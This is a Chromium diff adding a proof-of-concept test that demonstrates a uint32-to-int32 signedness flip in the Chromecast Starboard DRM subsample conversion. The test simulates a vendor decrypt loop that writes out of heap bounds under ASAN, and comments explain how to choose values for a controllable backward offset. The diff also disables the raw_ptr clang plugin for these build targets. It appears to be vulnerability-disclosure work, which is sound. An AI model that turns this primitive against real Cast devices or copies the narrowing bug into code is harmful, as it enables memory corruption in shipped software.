diff --git a/BUILD.gn b/BUILD.gn index 32a2ff5978c74..316dbfacb8e99 100644 --- a/BUILD.gn +++ b/BUILD.gn @@ -671,6 +671,12 @@ group("gn_all") { deps += [ "//chromecast:cast_test_lists" ] } + # POC: pull in the Starboard DRM unit test directly so it builds without + # is_castos (which would invalidate the entire desktop build). + if (enable_cast_receiver && is_linux) { + deps += [ "//chromecast/starboard/media/media:drm_util_signedness_poc" ] + } + if (is_cast_android || is_castos) { deps += [ "//chromecast:cast_shell", diff --git a/chromecast/chromecast.gni b/chromecast/chromecast.gni index f951dd6699989..6b207a3180756 100644 --- a/chromecast/chromecast.gni +++ b/chromecast/chromecast.gni @@ -190,6 +190,13 @@ foreach(target_type, forward_variables_from(invoker, [ "testonly" ]) configs += [ "//chromecast:cast_config" ] + + # POC build hack: the raw_ptr clang plugin is normally disabled for Cast + # via `is_linux && !is_castos` in build/config/clang/clang.gni. We are + # building these Cast targets in a desktop ASAN config, so suppress the + # plugin per-target to match the production Cast configuration without + # invalidating the rest of the desktop build. + configs -= [ "//build/config/clang:find_bad_constructs" ] } } } diff --git a/chromecast/starboard/media/media/BUILD.gn b/chromecast/starboard/media/media/BUILD.gn index fe3cdf849df78..f1a101e6fd5db 100644 --- a/chromecast/starboard/media/media/BUILD.gn +++ b/chromecast/starboard/media/media/BUILD.gn @@ -77,6 +77,21 @@ source_set("drm_util") { ] } +# Minimal POC test target: deliberately avoids //chromecast/media/cma/base and +# //chromecast/starboard/media/media:starboard so it can build under a desktop +# ASAN configuration (without is_castos). +test("drm_util_signedness_poc") { + sources = [ "drm_util_signedness_poc.cc" ] + deps = [ + ":drm_util", + ":starboard_api_wrapper", + "//base", + "//base/test:run_all_unittests", + "//media", + "//testing/gtest", + ] +} + source_set("mock_starboard_api_wrapper") { testonly = true public = [ "mock_starboard_api_wrapper.h" ] diff --git a/chromecast/starboard/media/media/drm_util_signedness_poc.cc b/chromecast/starboard/media/media/drm_util_signedness_poc.cc new file mode 100644 index 0000000000000..c43418b6c4660 --- /dev/null +++ b/chromecast/starboard/media/media/drm_util_signedness_poc.cc @@ -0,0 +1,143 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +#ifdef UNSAFE_BUFFERS_BUILD +// This POC deliberately performs unsafe pointer arithmetic to demonstrate the +// out-of-bounds consequence of negative SbDrmSubSampleMapping byte counts. +#pragma allow_unsafe_buffers +#endif +// +// POC: uint32 -> int32 signedness flip in DrmInfoWrapper::Create. +// +// Renderer-supplied SubsampleEntry::{clear_bytes,cypher_bytes} are uint32_t and +// reach this code via mojom::DemuxerStream::Read() with no value validation. +// drm_util.cc implicitly narrows them into int32_t +// StarboardDrmSubSampleMapping::{clear_byte_count,encrypted_byte_count} at: +// - drm_util.cc:100-101 (CastDecoderBuffer overload) +// - drm_util.cc:188-189 (::media::DecoderBuffer overload) +// Values >= 0x80000000 wrap negative and are forwarded across the +// SbPlayerWriteSample2 ABI boundary alongside a small browser-process heap +// buffer. +// +// Part 1 proves the signedness flip with assertions. +// Part 2 simulates the canonical CENC subsample-iteration loop a vendor +// SbPlayer performs (advance pointer by clear_byte_count, then operate on +// encrypted_byte_count bytes). With negative byte counts this walks backwards +// off the heap allocation -> ASAN heap-buffer-overflow. + +#include +#include +#include +#include + +#include "base/containers/span.h" +#include "base/memory/scoped_refptr.h" +#include "chromecast/starboard/media/media/drm_util.h" +#include "chromecast/starboard/media/media/starboard_api_wrapper.h" +#include "media/base/decoder_buffer.h" +#include "media/base/decrypt_config.h" +#include "media/base/subsample_entry.h" +#include "testing/gtest/include/gtest/gtest.h" + +namespace chromecast { +namespace media { +namespace { + +// Stand-in for the vendor's SbPlayerWriteSample2 in-place CENC decrypt loop. +// This is the canonical iteration pattern over SbDrmSubSampleMapping: skip +// clear_byte_count bytes, then "decrypt" (touch) encrypted_byte_count bytes +// in place. +void SimulateVendorCencSubsampleWalk(uint8_t* sample_buffer, + const StarboardDrmSampleInfo* drm_info) { + uint8_t* p = sample_buffer; + for (const StarboardDrmSubSampleMapping& m : drm_info->subsample_mapping) { + // Advance past clear bytes. With clear_byte_count < 0 this rewinds. + p += m.clear_byte_count; + // In-place "decrypt" of encrypted bytes. Touch one byte to prove OOB. + if (m.encrypted_byte_count != 0) { + *p ^= 0xAA; // <-- ASAN heap-buffer-overflow when p < sample_buffer. + } + p += m.encrypted_byte_count; + } +} + +scoped_refptr<::media::DecoderBuffer> MakeBuffer( + base::span data, + const ::media::SubsampleEntry& subsample) { + auto buf = ::media::DecoderBuffer::CopyFrom(data); + CHECK(buf); + buf->set_decrypt_config(::media::DecryptConfig::CreateCencConfig( + /*key_id=*/"0123456789abcdef", + /*iv=*/std::string(::media::DecryptConfig::kDecryptionKeySize, 'A'), + {subsample})); + return buf; +} + +TEST(DrmUtilSignednessPoc, SubsampleSignednessFlip) { + static_assert(sizeof(::media::SubsampleEntry::clear_bytes) == 4, ""); + static_assert( + sizeof(StarboardDrmSubSampleMapping::clear_byte_count) == 4, ""); + + // 16-byte browser-process heap buffer, mirroring the HeapArray allocated at + // starboard_video_decoder.cc:208-210 and passed as sample_info.buffer. + constexpr size_t kBufSize = 16; + std::unique_ptr heap_buf(new uint8_t[kBufSize]()); + + // ----- Part 1: prove the signedness flip. ----- + // Renderer-controlled subsample values (cross the Mojo trust boundary with no + // validation). Both have the high bit set so they wrap negative in int32_t. + // 0x80000000 -> -2147483648 + // 0xFFFFFFF0 -> -16 + { + const ::media::SubsampleEntry hostile(/*clear_bytes=*/0x80000000u, + /*cypher_bytes=*/0xFFFFFFF0u); + auto buf = MakeBuffer({heap_buf.get(), kBufSize}, hostile); + + DrmInfoWrapper w = DrmInfoWrapper::Create(*buf); + StarboardDrmSampleInfo* info = w.GetDrmSampleInfo(); + ASSERT_NE(info, nullptr); + ASSERT_EQ(info->subsample_mapping.size(), 1u); + const StarboardDrmSubSampleMapping& m = info->subsample_mapping[0]; + fprintf(stderr, + "[POC] clear_bytes=0x%08x -> clear_byte_count=%d, " + "cypher_bytes=0x%08x -> encrypted_byte_count=%d\n", + hostile.clear_bytes, m.clear_byte_count, hostile.cypher_bytes, + m.encrypted_byte_count); + EXPECT_LT(m.clear_byte_count, 0); + EXPECT_LT(m.encrypted_byte_count, 0); + EXPECT_EQ(m.clear_byte_count, -2147483648); + EXPECT_EQ(m.encrypted_byte_count, -16); + } + + // ----- Part 2: demonstrate OOB with canonical CENC iteration. ----- + // Use clear_bytes = 0xFFFFFFF8 (-> -8) so the backward displacement lands in + // ASAN's redzone immediately before the 16-byte heap allocation, producing a + // clean heap-buffer-overflow report rather than a wild SEGV ~2 GiB away. + // (Any value in [0x80000000, 0xFFFFFFFF] gives a controllable backward + // offset in [-2147483648, -1].) + const ::media::SubsampleEntry oob(/*clear_bytes=*/0xFFFFFFF8u, + /*cypher_bytes=*/0x00000008u); + auto buf = MakeBuffer({heap_buf.get(), kBufSize}, oob); + + DrmInfoWrapper w = DrmInfoWrapper::Create(*buf); + StarboardDrmSampleInfo* info = w.GetDrmSampleInfo(); + ASSERT_NE(info, nullptr); + ASSERT_EQ(info->subsample_mapping.size(), 1u); + ASSERT_EQ(info->subsample_mapping[0].clear_byte_count, -8); + + fprintf(stderr, + "[POC] simulating vendor SbPlayerWriteSample2 CENC walk: " + "buffer=%p size=%zu clear_byte_count=%d encrypted_byte_count=%d\n", + heap_buf.get(), kBufSize, + info->subsample_mapping[0].clear_byte_count, + info->subsample_mapping[0].encrypted_byte_count); + + // This is what the vendor SbPlayer does with the values Chromium hands it. + // ASAN: heap-buffer-overflow WRITE at heap_buf - 8. + SimulateVendorCencSubsampleWalk(heap_buf.get(), info); +} + +} // namespace +} // namespace media +} // namespace chromecast diff --git a/chromecast/starboard/media/media/starboard_api_wrapper.h b/chromecast/starboard/media/media/starboard_api_wrapper.h index a69c3adef5e02..8b779ecf7b119 100644 --- a/chromecast/starboard/media/media/starboard_api_wrapper.h +++ b/chromecast/starboard/media/media/starboard_api_wrapper.h @@ -22,6 +22,7 @@ #include #include "base/containers/span.h" +#include "base/memory/raw_ptr_exclusion.h" namespace chromecast { namespace media { @@ -181,7 +182,7 @@ struct StarboardAudioSampleInfo { uint16_t block_alignment; uint16_t bits_per_sample; uint16_t audio_specific_config_size; - const void* audio_specific_config; + RAW_PTR_EXCLUSION const void* audio_specific_config; }; // Copy of SbMediaVideoSampleInfo from starboard. @@ -198,7 +199,7 @@ struct StarboardVideoSampleInfo { // Copy of SbPlayerSampleSideData from starboard. struct StarboardSampleSideData { StarboardSampleSideDataType type; - base::span data; + RAW_PTR_EXCLUSION base::span data; }; // Copy of SbDrmEncryptionPattern from starboard. @@ -234,7 +235,8 @@ struct StarboardDrmSampleInfo { // The clear/encrypted mapping of each subsample in this sample. There must be // at least one subsample mapping. - base::span subsample_mapping; + RAW_PTR_EXCLUSION base::span + subsample_mapping; }; // Copy of SbPlayerSampleInfo from starboard. @@ -242,13 +244,13 @@ struct StarboardSampleInfo { // See SbMediaType. int type; // Points to the buffer containing the sample data. - const void* buffer; + RAW_PTR_EXCLUSION const void* buffer; // Size of the data pointed to by |buffer|. int buffer_size; // The timestamp of the sample. int64_t timestamp; // Side data for the input, when available. - base::span side_data; + RAW_PTR_EXCLUSION base::span side_data; union { // Information about an audio sample. This value can only be used when // |type| is kSbMediaTypeAudio. @@ -259,7 +261,7 @@ struct StarboardSampleInfo { }; // The DRM system related info for the media sample. This value is required // for encrypted samples. Otherwise, it must be |NULL|. - const StarboardDrmSampleInfo* drm_info; + RAW_PTR_EXCLUSION const StarboardDrmSampleInfo* drm_info; }; // Copy of SbPlayerCreationParam from starboard. @@ -268,7 +270,7 @@ struct StarboardPlayerCreationParam { // portions. It will be null if the stream does not have encrypted portions. // // If not null, drm_system should point to an object of type SbDrmSystem. - void* drm_system; + RAW_PTR_EXCLUSION void* drm_system; // Contains a populated SbMediaAudioSampleInfo if |audio_sample_info.codec| // isn't |kSbMediaAudioCodecNone|. When |audio_sample_info.codec| is @@ -402,7 +404,7 @@ using StarboardDrmSessionClosedFunc = void (*)(void* drm_system, // A wrapper for the player-related callbacks that starboard calls. struct StarboardPlayerCallbackHandler { // The context that will be passed to all functions. - void* context; + RAW_PTR_EXCLUSION void* context; StarboardPlayerDecoderStatusFunc decoder_status_fn; StarboardPlayerDeallocateSampleFunc deallocate_sample_fn; StarboardPlayerStatusFunc player_status_fn; @@ -412,7 +414,7 @@ struct StarboardPlayerCallbackHandler { // A wrapper for the DRM-related callbacks that starboard calls. struct StarboardDrmSystemCallbackHandler { // The context that will be passed to all functions. - void* context; + RAW_PTR_EXCLUSION void* context; StarboardDrmSessionUpdateRequestFunc update_request_fn; StarboardDrmSessionUpdatedFunc session_updated_fn; StarboardDrmSessionKeyStatusesChangedFunc key_statuses_changed_fn;